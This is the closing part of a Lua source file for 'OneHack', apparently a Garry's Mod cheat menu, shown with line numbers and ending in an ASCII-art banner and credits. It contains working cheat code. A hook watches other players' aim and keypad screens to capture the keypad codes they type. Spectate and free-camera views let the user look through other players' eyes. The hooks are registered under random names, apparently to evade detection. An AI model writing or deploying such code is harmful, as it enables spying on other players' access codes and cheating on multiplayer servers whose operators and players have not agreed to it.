2387 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2388 w = 0.25,
2389 h = 0.13,
2390 text = tostring(i),
2391 }
2392 table.insert(elements, element)
2393 end
2394end
2395
2396
2397function onehack.CalculateKeypadCursorPos(ply, ent)
2398 if !ply:IsValid() then return end
2399
2400 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2401 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2402
2403 local scale = ent.Scale
2404 if !scale then return 0, 0 end
2405
2406 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2407 if !pos or !ang then return 0, 0 end
2408 local normal = ent:GetForward()
2409
2410 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2411 if !intersection then return 0, 0 end
2412
2413 local diff = pos - intersection
2414
2415 local x = diff:Dot( -ang:Forward() ) / scale
2416 local y = diff:Dot( -ang:Right() ) / scale
2417
2418 return x, y
2419end
2420
2421function onehack.KPGetHoveredElement(ply, ent)
2422 local scale = ent.Scale
2423
2424 local w, h = ent.Width2D, ent.Height2D
2425 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2426
2427 for _, element in ipairs(elements) do
2428 local element_x = w * element.x
2429 local element_y = h * element.y
2430 local element_w = w * element.w
2431 local element_h = h * element.h
2432
2433 if element_x < x and element_x + element_w > x and
2434 element_y < y and element_y + element_h > y
2435 then
2436 return element
2437 end
2438 end
2439end
2440hook.Add("Think",onehack.RandomString(17),function()
2441 if onehack.Vars['keypad_jiw'] then
2442 for k, v in pairs(player.GetAll()) do
2443 local kp = v:GetEyeTrace().Entity
2444 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2445 kp.tempCode = kp.tempCode or ""
2446 kp.tempText = kp.tempText or ""
2447 kp.tempStatus = kp.tempStatus or 0
2448 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2449 kp.tempText = kp:GetText()
2450 kp.tempStatus = kp:GetStatus()
2451 if(kp.tempText && !kp:GetSecure()) then
2452 kp.tempCode = kp.tempText
2453 timer.Simple(0, function()
2454 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2455 kp.code = kp.tempCode
2456 end
2457 end)
2458 else
2459 local i = onehack.KPGetHoveredElement(v, kp)
2460 if (i) then i = i.text end
2461 if kp.tempText then
2462 timer.Simple(0, function()
2463 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2464 kp.code = kp.tempCode
2465 end
2466 end)
2467 end
2468 if kp.tempText == "" || kp:GetStatus() == 2 then
2469 kp.tempCode = ""
2470 end
2471 timer.Simple(0, function()
2472 if(tonumber(i) && kp:GetText():len() != 0) then
2473 kp.tempCode = kp.tempCode..i
2474 end
2475 end)
2476 end
2477 end
2478 end
2479 end
2480 end
2481end)
2482hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2483 if onehack.Vars['FCAM'] then
2484 cmd:ClearButtons()
2485 cmd:ClearMovement()
2486 cmd:SetMouseX(0)
2487 cmd:SetMouseY(0)
2488 end
2489end)
2490
2491function onehack.cameracalculate( ply, pos, angles, fov )
2492 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2493 local view = {}
2494 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2495 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2496 view.fov = fov
2497 view.drawviewer = true
2498 return view
2499 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2500 local view = {}
2501 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2502 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2503 view.fov = fov
2504 view.drawviewer = true
2505 return view
2506 end
2507 if onehack.Vars['FCAM'] then
2508 local view = {}
2509 local newang = angles
2510 onehack.StartCamAng = LocalPlayer():GetAngles()
2511 local speed = onehack.CamSpeed_Normal
2512 if input.IsKeyDown(KEY_LSHIFT) then
2513 speed = onehack.CamSpeed_Fast
2514 elseif input.IsKeyDown(KEY_LCONTROL) then
2515 speed = onehack.CamSpeed_Slow
2516 else
2517 speed = onehack.CamSpeed_Normal
2518 end
2519 if input.IsKeyDown(KEY_W) then
2520 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2521 end
2522 if input.IsKeyDown(KEY_A) then
2523 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2524 end
2525 if input.IsKeyDown(KEY_D) then
2526 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2527 end
2528 if input.IsKeyDown(KEY_S) then
2529 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2530 end
2531 if input.IsKeyDown(KEY_SPACE) then
2532 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2533 end
2534 --LocalPlayer():SetPos(onehack.StartCamPos)
2535 view.origin = onehack.StartCamPos
2536 view.angles = newang
2537 view.fov = fov
2538 view.drawviewer = true
2539 return view
2540 end
2541end
2542hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2543
2544MsgC(onehack.theme.chroma,[[
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594 ________ ________ _______ ___ ___ ________ ________ ___ __
2595|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2596\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2597 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2598 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2599 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2600 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2601 ___ ___ _____ ________ ________
2602 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2603 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2604 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2605 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2606 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2607 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2608 MsgC(onehack.theme.chromaalt,[[
2609
2610 ________ ________ _______ ________ ___ _________ ________
2611 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2612 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2613 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2614 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2615 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2616 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2617 \|_________|
2618 ________ ________ _______ ________ ________ _______ ___ ___
2619 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2620 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2621 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2622 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2623 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2624 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])
2625end
2626hook.Add( "Initialize", "WidgetStartUp", init )